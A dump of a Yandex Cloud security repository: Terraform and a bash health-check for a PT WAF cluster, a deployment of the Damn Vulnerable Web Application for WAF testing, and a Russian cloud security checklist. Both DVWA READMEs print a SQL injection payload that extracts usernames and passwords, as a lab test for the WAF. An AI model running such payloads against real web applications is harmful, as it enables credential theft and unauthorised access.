allwaf=$(yc --format json lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgwafid --name $elb | jq '. | length')
unhealthywaf=$(yc lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgwafid --name $elb | grep -c UNHEALTHY)
fi
if [[ $ilbtg == $tgwafid ]]; then
allwaf=$(yc --format json lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgwafid --name $ilb | jq '. | length')
unhealthywaf=$(yc lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgwafid --name $ilb | grep -c UNHEALTHY)
fi
if [[ $ilbtg == $tgvmid ]]; then
allvm=$(yc --format json lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgvmid --name $ilb | jq '. | length')
unhealthyvm=$(yc lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgvmid --name $ilb | grep -c UNHEALTHY)
fi
if [[ $elbtg == $tgvmid ]]; then
allvm=$(yc --format json lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgvmid --name $elb | jq '. | length')
unhealthyvm=$(yc lb network-load-balancer target-states --folder-id $folderid --target-group-id $tgvmid --name $elb | grep -c UNHEALTHY)
fi
if [[ $allwaf == $unhealthywaf ]]; then tgwaf=unhealthy ; else tgwaf=healthy ; fi
if [[ $allvm == $unhealthyvm ]]; then tgvm=unhealthy ; else tgvm=healthy ; fi
#echo 'allwaf '$allwaf
yc logging write --group-name=default --message="unhealthywaf - $unhealthywaf" --timestamp="$(date)" --level=INFO
#echo 'unhealthywaf '$unhealthywaf
yc logging write --group-name=default --message="unhealthywaf - $unhealthywaf" --timestamp="$(date)" --level=INFO
echo 'allvm '$allwaf
echo 'unhealthyvm '$unhealthyvm
echo 'elbtg '$elbtg
echo 'ilbtg '$ilbtg
echo 'tgwafid '$tgwafid
echo 'tgvmid '$tgvmid
echo 'vm ' $tgvm
echo 'waf ' $tgwaf
if [[ $tgwaf == 'healthy' ]] && [[ $tgvm == 'healthy' ]]; then ptaf 'active' ; fi
if [[ $tgwaf == 'unhealthy' ]] && [[ $tgvm == 'healthy' ]]; then ptaf 'passive' ; fi
if [[ $tgwaf == 'healthy' ]] && [[ $tgvm == 'unhealthy' ]]; then ptaf 'active' ; fi
if [[ $tgwaf == 'unhealthy' ]] && [[ $tgvm == 'unhealthy' ]]; then ptaf 'active' ; fi
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/functions.tf
================================================
//Создание sa для функции и тригера
resource "yandex_iam_service_account" "sa-ptaf" {
name = "sa-ptaf-${var.folder_id}"
description = "service account for ptaf func"
folder_id = var.folder_id
}
//Назначение прав
resource "yandex_resourcemanager_folder_iam_binding" "func-admin" {
folder_id = var.folder_id
role = "serverless.functions.admin"
members = [
"serviceAccount:${yandex_iam_service_account.sa-ptaf.id}",
]
}
//Назначение прав
resource "yandex_resourcemanager_folder_iam_binding" "func-admin2" {
folder_id = var.folder_id
role = "viewer"
members = [
"serviceAccount:${yandex_iam_service_account.sa-ptaf.id}",
]
}
//Назначение прав
resource "yandex_resourcemanager_folder_iam_binding" "func-admin3" {
folder_id = var.folder_id
role = "logging.writer"
members = [
"serviceAccount:${yandex_iam_service_account.sa-ptaf.id}",
]
}
//Назначение прав
resource "yandex_resourcemanager_folder_iam_binding" "func-admin4" {
folder_id = var.folder_id
role = "load-balancer.admin"
members = [
"serviceAccount:${yandex_iam_service_account.sa-ptaf.id}",
]
}
//Создание функции
data "archive_file" "function" {
type = "zip"
source_dir = "${path.module}/function"
output_path = "${path.module}/sync.zip"
depends_on = [
yandex_lb_network_load_balancer.int-lb,
]
}
resource "yandex_function" "bypass" {
folder_id = var.folder_id
name = "bypass-function"
runtime = "bash"
entrypoint = "handler.sh"
memory = "128"
execution_timeout = "200"
service_account_id = yandex_iam_service_account.sa-ptaf.id
environment = {
test = var.folder_id
folderid = var.folder_id
tgwafid = yandex_lb_target_group.ptaf_group.id
tgvmid = var.app_target_group_id
elb = yandex_lb_network_load_balancer.ext-lb.name
ilb = yandex_lb_network_load_balancer.int-lb.name
}
user_hash = data.archive_file.function.output_base64sha256
content {
zip_filename = data.archive_file.function.output_path
}
}
//Сощздание триггера
resource "yandex_function_trigger" "bypass-trigger" {
name = "bypass-trigger"
description = "any description"
depends_on = [
yandex_lb_network_load_balancer.int-lb,
]
timer {
cron_expression = "*/5 * * * ? *"
}
function {
id = yandex_function.bypass.id
service_account_id = yandex_iam_service_account.sa-ptaf.id
}
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/network.tf
================================================
data "yandex_vpc_network" "vpc-positive" {
network_id = var.vpc_id
}
resource "yandex_vpc_subnet" "ext-subnet" {
folder_id = var.folder_id
count = 2
name = "ext-subnet-${element(var.network_names, count.index)}"
zone = element(var.zones, count.index)
network_id = data.yandex_vpc_network.vpc-positive.id
v4_cidr_blocks = [element(var.ext_cidrs, count.index)]
}
resource "yandex_vpc_subnet" "mgmgt-subnet" {
folder_id = var.folder_id
count = 2
name = "mgmt-subnet-${element(var.network_names, count.index)}"
zone = element(var.zones, count.index)
network_id = data.yandex_vpc_network.vpc-positive.id
v4_cidr_blocks = [element(var.mgmt_cidrs, count.index)]
}
//Создание Security Group
resource "yandex_vpc_security_group" "ptaf-sg" {
folder_id = var.folder_id
name = "ptaf-sg"
network_id = data.yandex_vpc_network.vpc-positive.id
ingress {
protocol = "TCP"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 80
}
ingress {
protocol = "TCP"
security_group_id = yandex_vpc_security_group.ssh-broker.id
from_port = 0
to_port = 65535
}
ingress {
protocol = "TCP"
v4_cidr_blocks = ["198.18.235.0/24", "198.18.248.0/24"]
from_port = 0
to_port = 65535
}
ingress {
protocol = "TCP"
predefined_target = "self_security_group"
from_port = 0
to_port = 65535
}
egress {
protocol = "ANY"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
resource "yandex_vpc_security_group" "app-sg" {
folder_id = var.folder_id
name = "apps-sg"
network_id = data.yandex_vpc_network.vpc-positive.id
ingress {
protocol = "TCP"
security_group_id = yandex_vpc_security_group.ptaf-sg.id
port = 80
}
ingress {
protocol = "TCP"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 80
}
ingress {
protocol = "TCP"
v4_cidr_blocks = ["198.18.235.0/24", "198.18.248.0/24"]
from_port = 0
to_port = 65535
}
egress {
protocol = "ANY"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
resource "yandex_vpc_security_group" "ssh-broker" {
folder_id = var.folder_id
name = "broker-sg"
network_id = data.yandex_vpc_network.vpc-positive.id
ingress {
protocol = "TCP"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 22
}
egress {
protocol = "ANY"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
//Создание LB_target_group ptaf
resource "yandex_lb_target_group" "ptaf_group" {
name = "ptafgroup"
target {
subnet_id = yandex_vpc_subnet.ext-subnet[0].id
address = yandex_compute_instance.ptaf-a.network_interface.0.ip_address
}
target {
subnet_id = yandex_vpc_subnet.ext-subnet[1].id
address = yandex_compute_instance.ptaf-b.network_interface.0.ip_address
}
}
//Объявление extLB для импорта
resource "yandex_lb_network_load_balancer" "ext-lb" {
name = "extlb"
listener {
name = "my-listener"
port = 80
external_address_spec {
ip_version = "ipv4"
}
}
attached_target_group {
target_group_id = "${yandex_lb_target_group.ptaf_group.id}"
healthcheck {
name = "tcp"
tcp_options {
port = 80
}
}
}
}
//data target-group app
data "yandex_lb_target_group" "app-group" {
target_group_id = var.app_target_group_id
}
//Создание intLB
resource "yandex_lb_network_load_balancer" "int-lb" {
name = "intlb"
type = "internal"
depends_on = [
yandex_lb_network_load_balancer.ext-lb,
]
listener {
name = "my-listener"
port = 80
internal_address_spec {
subnet_id = yandex_vpc_subnet.ext-subnet[0].id
}
}
attached_target_group {
target_group_id = data.yandex_lb_target_group.app-group.id
healthcheck {
name = "tcp"
tcp_options {
port = 80
}
}
}
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/variables.tf
================================================
//-------------Служебные параметры terrafromf
variable "token" {
description = "Yandex Cloud security OAuth token"
default = "" #generate yours by this https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token
}
variable "folder_id" {
description = "Yandex Cloud Folder ID where resources will be created"
default = "" #yc config get folder-id
}
variable "cloud_id" {
description = "Yandex Cloud ID where resources will be created"
default = "" #yc config get cloud-id
}
variable "vpc_id" {
description = "Yandex Cloud ID where resources will be created"
default = "" #yc vpc network list --format=json | jq '.[].id'
}
variable "extlb_id" {
description = "Yandex Cloud ID where resources will be created"
default = "b7r0fumb6qsha7mfmvsb" #yc load-balancer network-load-balancer list --format=json | jq '.[].id'
}
//terraform import yandex_lb_network_load_balancer.ext-lb ${yc load-balancer network-load-balancer list --format=json | jq '.[].id' | sed 's/"//g'} (первым делом выполнить команду)
variable "app_target_group_id" {
description = "Yandex Cloud ID where resources will be created"
default = "" #yc load-balancer target-group list --format=json | jq '.[].id'
}
//------------
variable "zones" {
description = "Yandex Cloud default Zone for provisoned resources"
type = list(string)
default = ["ru-central1-a", "ru-central1-b"]
}
variable "network_names" {
description = "Yandex Cloud default Zone for provisoned resources"
type = list(string)
default = ["a", "b"]
}
variable "ext_cidrs" {
type = list(string)
default = ["192.168.2.0/24", "172.18.0.0/24"]
}
variable "mgmt_cidrs" {
type = list(string)
default = ["192.168.0.0/24", "172.16.0.0/24"]
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/versions.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.60"
}
}
}
provider "yandex" {
token = var.token
#or you can use: service_account_key_file = var.token for sa account
cloud_id = var.cloud_id
folder_id = var.folder_id
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/main/vms.tf
================================================
resource "tls_private_key" "ssh" {
algorithm = "RSA"
rsa_bits = "2048"
}
resource "local_file" "private_key" {
content = tls_private_key.ssh.private_key_pem
filename = "pt_key.pem"
file_permission = "0600"
}
data "template_file" "cloud_init_lin" {
template = file("./cloud-init_lin.tpl.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
}
}
data "template_file" "cloud_init_lin0" {
template = file("./cloud-init_lin.tpl_1.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
}
}
data "template_file" "cloud_init_lin1" {
template = file("./cloud-init_lin.tpl_2.yaml")
vars = {
ssh_key = "${chomp(tls_private_key.ssh.public_key_openssh)}"
}
}
data "yandex_compute_image" "img_lin" {
family = "ubuntu-2004-lts"
}
//Развертывание ssh broker машин
resource "yandex_compute_instance" "ssh" {
count = 2
name = "ssh-${element(var.network_names, count.index)}"
zone = element(var.zones, count.index)
hostname = "ssh-${element(var.network_names, count.index)}"
platform_id = "standard-v2"
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.img_lin.id
type = "network-ssd"
size = 26
}
}
network_interface {
subnet_id = yandex_vpc_subnet.mgmgt-subnet[count.index].id
ip_address = cidrhost(var.mgmt_cidrs[count.index], 9)
nat = true
security_group_ids = [yandex_vpc_security_group.ssh-broker.id]
}
metadata = {
user-data = "${data.template_file.cloud_init_lin.rendered}"
serial-port-enable = 1
}
}
//Развертывание PTAF машин
resource "yandex_compute_instance" "ptaf-a" {
name = "ptaf-a"
zone = "ru-central1-a"
hostname = "ptaf-a"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8p1mmcim8jllgd7vuc"
type = "network-ssd"
size = 80
}
}
network_interface {
subnet_id = yandex_vpc_subnet.ext-subnet[0].id
ip_address = "192.168.2.10"
nat = false
security_group_ids = [yandex_vpc_security_group.ptaf-sg.id]
}
metadata = {
user-data = "${data.template_file.cloud_init_lin0.rendered}"
serial-port-enable = 1
}
}
resource "yandex_compute_instance" "ptaf-b" {
name = "ptaf-b"
zone = "ru-central1-b"
hostname = "ptaf-b"
resources {
cores = 4
memory = 8
}
boot_disk {
initialize_params {
image_id = "fd8p1mmcim8jllgd7vuc"
type = "network-ssd"
size = 80
}
}
network_interface {
subnet_id = yandex_vpc_subnet.ext-subnet[1].id
ip_address = "172.18.0.10"
nat = false
security_group_ids = [yandex_vpc_security_group.ptaf-sg.id]
}
metadata = {
user-data = "${data.template_file.cloud_init_lin1.rendered}"
serial-port-enable = 1
}
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/README.md
================================================
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/app_vms.tf
================================================
data "yandex_compute_image" "container-optimized-image" {
family = "container-optimized-image"
}
resource "yandex_compute_instance" "instance-based-on-coi" {
count = 2
name = "app-${element(var.network_names, count.index)}"
zone = element(var.zones, count.index)
hostname = "app-${element(var.network_names, count.index)}"
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.container-optimized-image.id
}
}
network_interface {
subnet_id = yandex_vpc_subnet.app-subnet[count.index].id
nat = true
ip_address = cidrhost(var.app_cidrs[count.index], 15)
#security_group_ids = [yandex_vpc_security_group.sg-dvwa.id]
}
resources {
cores = 2
memory = 4
}
metadata = {
docker-container-declaration = file("declaration.yaml")
}
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/declaration.yaml
================================================
spec:
containers:
- image: nginx
securityContext:
privileged: false
stdin: false
tty: false
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/network.tf
================================================
//Создание сети
resource "yandex_vpc_network" "vpc-positive" {
name = "vpc-infra"
}
//Создание подсетей
resource "yandex_vpc_subnet" "app-subnet" {
folder_id = var.folder_id
count = 2
name = "app-subnet-${element(var.network_names, count.index)}"
zone = element(var.zones, count.index)
network_id = yandex_vpc_network.vpc-positive.id
v4_cidr_blocks = [element(var.app_cidrs, count.index)]
}
resource "yandex_vpc_address" "ext-address" {
name = "ext-address"
external_ipv4_address {
ddos_protection_provider = "qrator"
zone_id = "ru-central1-a"
}
}
//Создание LB_target_groupd
resource "yandex_lb_target_group" "apps_group" {
name = "appsgroup"
target {
subnet_id = yandex_vpc_subnet.app-subnet[0].id
address = yandex_compute_instance.instance-based-on-coi[0].network_interface.0.ip_address
}
target {
subnet_id = yandex_vpc_subnet.app-subnet[1].id
address = yandex_compute_instance.instance-based-on-coi[1].network_interface.0.ip_address
}
}
//Создание LB
resource "yandex_lb_network_load_balancer" "ext-lb" {
name = "extlb"
listener {
name = "my-listener"
port = 80
external_address_spec {
ip_version = "ipv4"
address = yandex_vpc_address.ext-address.external_ipv4_address.0.address
}
}
attached_target_group {
target_group_id = "${yandex_lb_target_group.apps_group.id}"
healthcheck {
name = "tcp"
tcp_options {
port = 80
}
}
}
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/variables.tf
================================================
//------------Служебные параметры terrafromf
variable "token" {
description = "Yandex Cloud security OAuth token"
default = "" #generate yours by this https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token
}
variable "folder_id" {
description = "Yandex Cloud Folder ID where resources will be created"
default = "" #yc config get folder-id
}
variable "cloud_id" {
description = "Yandex Cloud ID where resources will be created"
default = "" #yc config get cloud-id
}
//------------
variable "zones" {
description = "Yandex Cloud default Zone for provisoned resources"
type = list(string)
default = ["ru-central1-a", "ru-central1-b"]
}
variable "network_names" {
description = "Yandex Cloud default Zone for provisoned resources"
type = list(string)
default = ["a", "b"]
}
variable "app_cidrs" {
type = list(string)
default = ["192.168.1.0/24", "172.17.0.0/24"]
}
================================================
FILE: vuln-mgmt/unmng-waf-ptaf-cluster/prepare/versions.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.60"
}
}
}
provider "yandex" {
token = var.token
#or you can use: service_account_key_file = var.token for sa account
cloud_id = var.cloud_id
folder_id = var.folder_id
}
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/README.md
================================================
# Installing a Damn Vulnerable Web Application (DVWA) in Yandex.Cloud using Terraform for managed WAF testing
Link to a video review on YouTube: https://www.youtube.com/watch?v=r7Dxv_as24E
Terraform playbook will create:
- New VPC network and VPC subnet
- External VPC address
- Security group to access the application
- VM based on [Yandex Container Solution](https://cloud.yandex.ru/docs/cos/) running a Docker container with a [Damn Vulnerable Web Application (DVWA)](https://dvwa.co.uk/)
## Prerequisites:
- Bash.
- [Terraform](https://www.terraform.io/downloads.html).
- [YC CLI](https://cloud.yandex.ru/docs/cli/operations/install-cli), a user with the admin or editor role at the folder level.
## Installation
- Copy repository files using Git:
```
git clone https://github.com/mirtov-alexey/dvwa_and_managed_waf.git
```
- Fill out the variables in the variables.tf file: in the `token` field, enter either the user's OAuth token or a [path to the service account's key file](https://cloud.yandex.ru/docs/cli/operations/authentication/service-account).
- In the provider.tf file, specify `token = var.token` (for user authentication) or `service_account_key_file = var.token` (for authenticating on behalf of the service account).
- Go to the file folder and run terraform init:
```
cd ./dvwa_and_managed_waf/
terraform init
```
- Next, run terraform apply:
```
terraform apply
```
## Installation results
- As a result of the installation, an external IP address will be displayed in the command line:
- Next, when you open the address in the browser, you should see the following:
- Enter login: 'admin`, password: 'password`.
- At the very bottom of the page, click Create/Reset database.
- Then click Login at the bottom.
- On the DVWA Security tab, change the level to Low.
- Go to the SQL Injection tab and in the User ID field, enter the following:
```
`%' and 1=0 union select null, concat(user,':',password) from users #`
```
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/README_RU.md
================================================
# Установка уязвимого веб приложения (dvwa) в Яндекс Облаке (с помощью terraform) для тестирования managed WAF
Ссылка на видео-обзор на youtube - https://www.youtube.com/watch?v=r7Dxv_as24E
Terraform playbook создаст:
- новую vpc network и vpc subnet;
- внешний vpc address;
- security group для доступа к приложению;
- VM на базе [Yandex Container Solution](https://cloud.yandex.ru/docs/cos/) c запущенным docker контейнером с [Damn Vulnerable Web Application (DVWA)](https://dvwa.co.uk/)
## Пререквизиты
- bash
- [terraform](https://www.terraform.io/downloads.html)
- [cli yandex cloud](https://cloud.yandex.ru/docs/cli/operations/install-cli), пользователь (роль: admin или editor на уровне folder)
## Установка
- скопировать файлы репозитория с помощью git:
```
git clone https://github.com/mirtov-alexey/dvwa_and_managed_waf.git
```
- заполнить переменные в файле - "variables.tf" (в поле token необходимо ввести либо oauth token пользователя либо [путь к файлу ключа service account](https://cloud.yandex.ru/docs/cli/operations/authentication/service-account))
- в файле "provider.tf" указать `token = var.token` (для аутентификациии пользователя) или `service_account_key_file = var.token` (для аутентификации от service account)
- перейти в папку с файлами и запустить terraform init
```
cd ./dvwa_and_managed_waf/
```
```
terraform init
```
- далее запустить terraform apply
```
terraform apply
```
## Результаты установки
- По результату установки в командной строке будет показан внешний ip адрес:
- Далее при переходе по адресу через браузер вы должны видеть следующее:
- введите логин: admin, пароль: password
- в самом низу страницы будет кнопка "create /reset database" - нажмите ее
- далее внизу нажмите login
- во вкладке "DVWA Security" поменяйте уровень на "low"
- перейдите во вкладку "SQL Injection" и введите в поле User ID следующее: `%' and 1=0 union select null, concat(user,':',password) from users #`
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/cloud_config.yaml
================================================
#cloud-config
ssh_pwauth: no
users:
- default
- name: yc-user
groups: wheel
sudo: ALL=(ALL) NOPASSWD:ALL
shell: /bin/bash
ssh_authorized_keys:
- "${ssh_key}"
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/declaration.yaml
================================================
spec:
containers:
- image: sagikazarmark/dvwa
securityContext:
privileged: false
stdin: false
tty: false
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/network_tasks.tf
================================================
resource "yandex_vpc_network" "network-dvwa" {
name = "network1"
}
resource "yandex_vpc_subnet" "dvwa-subnet" {
name = "dvwa-subnet"
zone = "ru-central1-a"
network_id = yandex_vpc_network.network-dvwa.id
v4_cidr_blocks = ["192.168.11.0/24"]
}
resource "yandex_vpc_address" "dvwa-address" {
name = "dvwa-address"
external_ipv4_address {
zone_id = "ru-central1-a"
}
}
resource "yandex_vpc_security_group" "sg-dvwa" {
name = "sg-dvwa"
description = "allows traffic"
network_id = yandex_vpc_network.network-dvwa.id
ingress {
protocol = "TCP"
description = "allow-http"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 80
}
ingress {
protocol = "TCP"
description = "allow-https"
v4_cidr_blocks = ["0.0.0.0/0"]
port = 443
}
egress {
protocol = "ANY"
description = "egress_internet"
v4_cidr_blocks = ["0.0.0.0/0"]
from_port = 0
to_port = 65535
}
}
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/output.tf
================================================
output "external_ip" {
value = yandex_compute_instance.instance-based-on-coi.network_interface.0.nat_ip_address
}
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/provider.tf
================================================
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
}
provider "yandex" {
service_account_key_file = var.token
#or you can use: token = var.token for user account not sa
cloud_id = var.cloud_id
folder_id = var.folder_id
}
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/variables.tf
================================================
variable "token" {
description = "Yandex Cloud security OAuth token"
default = "/Users/mirtov8/Documents/terraform-play/tf-dvwa/key.json" #generate yours by this https://cloud.yandex.ru/docs/iam/concepts/authorization/oauth-token
}
variable "folder_id" {
description = "Yandex Cloud Folder ID where resources will be created"
default = "" #put yours id of folder
}
variable "cloud_id" {
description = "Yandex Cloud ID where resources will be created"
default = "" #put yours id of cloud
}
================================================
FILE: vuln-mgmt/vulnerable-web-app-waf-test/vm_tasks.tf
================================================
data "yandex_compute_image" "container-optimized-image" {
family = "container-optimized-image"
}
resource "yandex_compute_instance" "instance-based-on-coi" {
name = "dvwa"
zone = "ru-central1-a"
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.container-optimized-image.id
}
}
network_interface {
subnet_id = yandex_vpc_subnet.dvwa-subnet.id
nat = true
nat_ip_address = yandex_vpc_address.dvwa-address.external_ipv4_address.0.address
security_group_ids = [yandex_vpc_security_group.sg-dvwa.id]
}
resources {
cores = 2
memory = 4
}
metadata = {
docker-container-declaration = file("declaration.yaml")
user-data = file("cloud_config.yaml")
}
}
================================================
FILE: yandex-Cloud-Security-Checklist/README.md
================================================
# ☑️ Yandex-Cloud-Security-Checklist
**Этот документ пока является драфтом для публичного ревью**
**Yandex-Cloud-Security-Checklist**
- 🔵 **Сетевая безопасность**:
- ☑️ **Сегментация**: разделите ресурсы по группам и поместите их в разные каталоги либо разные VPC (в случае необходимости наиболее строгой изоляции), посмотрите вебинар 📹[Как работает сеть в Облаке](https://www.youtube.com/watch?v=g3cZ0o50qH0). PS: внутри VPC траффик по умолчанию разрешен, между VPC нет (только через routing vm(2 ports), vpn, Cloud interconnect)
- ☑️ **Ограничение сетевого доступа - "Группы безопасности"**: ограничьте сетевой доступ между ресурсами с помощью встроенного межсетевого экрана ["Группы безопасности"](https://cloud.yandex.ru/docs/vpc/operations/security-group-create), используйте 🔐[Пример настройки Security Groups (dev/stage/prod): Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/segmentation)
- ☑️ **NGFW из marketplace**: если требуется продвинутая сетевая защита используйте [NGFW из marketplace](https://cloud.yandex.ru/marketplace?categories=network), 🔐[[Пример установки в Яндекс Облако ВМ-Межсетевой экран (NGFW): Checkpoint](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/checkpoint-1VM)
- ☑️ **Безопасный удаленный доступ из площадок (VPN)**: если требуется удаленный доступ до ресурсов облака, то настройте site-to-site VPN [Инструкция по созданию site-to-site VPN соединения с Yandex Cloud (strongSwan): UI](https://cloud.yandex.ru/docs/solutions/routing/ipsec-vpn), 🔐 [Пример создания site-to-site VPN соединения с Yandex Cloud: Terraform](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/network-sec/vpn) либо воспользуйтесь услугой [Cloud Interconnect](https://cloud.yandex.ru/docs/vpc/interconnect/)(также доступна услуга ГОСТ VPN)
- ☑️ **Безопасный удаленный доступ администраторов (VPN)**: сlient VPN между удаленными устройствами и Yandex Cloud ([ссылка на варианты в Marketplace](https://cloud.yandex.ru/marketplace?categories=network)), 📖[Инструкция по настройке ClientVPN на базе OpenVPN](https://cloud.yandex.ru/docs/solutions/routing/openvpn)
- ☑️ **Bastion host**: для доступа в инфраструктуру по управляющим протоколам (например ssh, rdp) рекомендуется создать бастионную виртуальную машину
- ☑️ **Исходящий доступ (NAT)**: используйте один из безопасных вариантов исходящего доступа в интернет: [Egress NAT](https://cloud.yandex.ru/docs/vpc/operations/enable-nat)(встроенный сервис NAT) Важно что данный сервис делает трансляцию ваших адресов в общий пул адресов. Если необходимо чтобы выход в интернет был из вашего контролируемого пула адресов то используйте [NAT instance](https://cloud.yandex.ru/docs/solutions/routing/nat-instance#create-nat-instance)(отдельная NAT ВМ)
- ☑️ **Защита от DDoS**: при назначении публичных IP адресов на ресурсы облака, используйте встроенный [DDoS-Protection](https://cloud.yandex.ru/docs/vpc/ddos-protection/) по кнопке (услуга L4/L4 защиты от DDoS). Если необходима защита от DDoS на L7 - обратитесь к своему менеджеру.
- 🔵 **Аутентификация и управление доступом**:
- ☑️ **Централизованное управление и федерации удостоверений**: создайте организацию в сервисе [Yandex Cloud Organization](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/organization/) и настройте федерацию удостоверений (Single Sign-On аутентификацию в Yandex.Cloud через свой сервер IdP). 📖[Пример настройки для ADFS](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/organization/operations/federations/integration-adfs), 📖[Пример настройки для Keycloak](https://www.youtube.com/watch?v=m-oe7V9PvC4), 📖[Пример настройки для Google Workspace](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/organization/operations/federations/integration-gworkspace)
- ☑️ **Используйте федеративные аккаунты вместо аккаунтов Яндекс.Паспорта, где это возможно**
- ☑️ **Принцип минимальных привелегий**: назначайте сервисные роли (например compute.images.user) вместо примитивных (viewer, editor, admin), [список всех ролей](https://cloud.yandex.ru/docs/iam/concepts/access-control/roles), 📖 [пример назначения ролей](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/iam/operations/roles/grant), посмотрите вебинар 📹 [Управление доступами в облаке](https://www.youtube.com/watch?v=7VwSfPZ6eRM&t=3s)
- ☑️ **Используйте Terraform Yandex Cloud IAM module**: позволяет организовать группы доступов для пользователей облака и имеет ряд других удобных функций. [IAM модуль (с примерами использования)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/auth_and_access/iam#identity-and-access-management-iam-terraform-module-for-yandexcloud)
- ☑️ **Работа с сервисными аккаунтами**: применяйте механизм [назначения сервисного аккаунта виртуальной машине](https://nmotina-feature-overview-access.farm2.cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm) и получения токена через сервис метаданных. Настройте локальный файрвол на ВМ, чтобы только необходимые процессы и пользователи системы имели доступ к сервису метаданных (IP-адрес: 169.254.169.254), ссылка на решение (tbd)
- ☑️ **Используйте 2FA**: настройке 2FA на стороне вашего IDP (при использовании федерации удостоверений), для паспортного аккаунта настройте 2FA согласно [инструкции](https://yandex.ru/support/id/authorization/twofa.html).
- ☑️ **Защитите billing.accounts.owner**: выполните первоначальные операции и после этого не используйте. Для управления платежным аккаунтом назначьте роль admin или editor, viewer на платежный аккаунт выделенному сотруднику организации с федеративным аккаунтом.
- ☑️ **Защитите resource-manager.clouds.owner**: назначьте роль resource-manager.clouds.owner сотрудникам организации с федеративным аккаунтом. Аккаунту Яндекс.Паспорта, с которым создано облако, назначьте сложный пароль и используйте только в случае крайней необходимости. Назначьте менее привелигированные доступы администраторам и используйте resource-manager.clouds.owner в случае крайней необходимости
- ☑️ **Ресурсная модель**: Все критичные ресурсы, которые входят в область соответствия стандартам, поместите в отдельное облако, Группы ресурсов, разделите по каталогам, Общие ресурсы (например, сеть и группы безопасности) поместите в отдельный каталог для разделяемых ресурсов.
- 🔵 **Шифрование данных и управление ключами/секретами**:
- ☑️ **Включиите server-side шифрование Yandex Object Storage**: [ссылка на инстуркцию](https://cloud.yandex.ru/docs/storage/operations/buckets/encrypt). Помимо шифрования данных это защищает данные бакета от сценария когда бакет сделают публичным.
- ☑️ **Используйте Шифрование диска ВМ в Облаке с помощью YC KMS (если требуется)**: используйте 🔐[Шифрование диска ВМ в Облаке с помощью YC KMS](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/encrypt_and_keys/encrypt_disk_VM)
- ☑️ **Шифруйте данные с помощью client-side encryption (если требуется)**: возможно использования client-side encryption при помощи KMS [следующими библиотеками](https://cloud.yandex.ru/docs/kms/solutions/encrypt/)
- ☑️ **Защита ключей KMS**: выдавайте только точечные права на KMS ключ - kms.keys.encrypterDecrypter, используйте [ротацию ключей](https://cloud.yandex.ru/docs/kms/concepts/version)
- ☑️ **Управление секретами**: используйте SecretManager для работы с секретами: [Yandex Lockbox](https://cloud.yandex.ru/docs/lockbox/) либо [HashiCorp Vault c поддержкой KMS](https://cloud.yandex.ru/marketplace/products/f2eokige6vtlf94uvgs2) (из marketplace) или контейнер cr.yandex/yc/vault
- 🔵 **Безопасная конфигурация**:
- ☑️ **Следите за default паролями в ПО внутри ВМ**: Организационно и технически с помощью различных сканнеров уязвимостей
- ☑️ **Конфигурируйте ОС и ПО в соответствии с baseline и стандартами**: для автоматизации соответствия различным стандартам и baseline (CIS, PCI DSS, др), например [OpenSCAP](https://www.open-scap.org/getting-started/)
- ☑️ **Старайтесь не использовать серийную консоль**: если необходимо то [оценивайте указанные риски](https://cloud.yandex.ru/docs/compute/operations/serial-console/) и отключайте по итогу работы
